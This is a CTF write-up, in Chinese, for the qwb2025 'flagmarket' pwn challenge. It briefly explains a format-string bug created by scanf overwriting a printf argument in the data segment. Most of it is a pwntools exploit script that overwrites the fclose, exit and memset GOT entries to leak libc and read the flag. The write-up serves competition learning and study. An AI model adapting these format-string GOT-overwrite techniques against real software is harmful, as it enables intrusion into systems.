qwb2025-pwn flagmarket

image-20251122092449737

解体思路写代码里面了
由于scanf向data段的全局变量里读,因此可以覆盖同样存在于data段中的printf的参数的字符串,构造格式化字符串漏洞,注意这里的格式化字符串漏洞写入内容不在栈上,但是read函数可以读0x10字节在栈上
(覆盖memset地址时只用覆盖低6位即可)
(建议自己调试时候把putchr下面的sleep逻辑patch掉,节省时间)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def exp():
global libc
global binary
global elf
elf = ELF(binary, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
# 第一次泄露libc地址,并且将fclose got重定向到main的起始地址
fclose_got = elf.got['fclose']
sla(b'2.exit\n',b'1')
sla(b'how much you want to pay?\n',b'255')
fclose_got = elf.got['fclose']
main_addr = 0x40139B
payload = b'a'*0x100
fmtstr = f'%{main_addr }c%12$hn'.encode()+ b'---%25$p----'
payload += fmtstr
sla(b'opened user.log, please report:\n',payload)
sla(b'2.exit\n',b'1')
sla(b'how much you want to pay?\n',p64(fclose_got))
ru(b'---')
libc.address = int(ru(b'----',drop=True),16) - 0x2a1ca
leak('libc.address',libc.address)


# 取消exit,并且使其执行时跳转到fget获取flag
# 401660
fgets_flag_instr =0x4014F9
sla(b'2.exit\n',b'1')
sla(b'how much you want to pay?\n',b'255')
payload = b'a'*0x100
fmtstr = f'%{fgets_flag_instr }c%12$hn'.encode()
payload += fmtstr

sla(b'opened user.log, please report:\n',payload)
sla(b'2.exit\n',b'1')
exit_got = elf.got['exit']
sla(b'how much you want to pay?\n',p64(exit_got))

# 将 memset 改为 puts
sla(b'2.exit\n',b'1')
sla(b'how much you want to pay?\n',b'255')
puts_addr = libc.sym['puts']
payload = b'a'*0x100
padding1 = (puts_addr >> 16) & 0xff
fmtstr = f'%{padding1}c%13$hhn'.encode()
padding2 = puts_addr & 0xffff
fmtstr += f'%{padding2-padding1}c%12$hn'.encode()
payload += fmtstr
sla(b'opened user.log, please report:\n',payload)
memset_got = elf.got['memset']
sla(b'2.exit\n',b'1')
sla(b'how much you want to pay?\n',p64(memset_got)+p64(memset_got+2))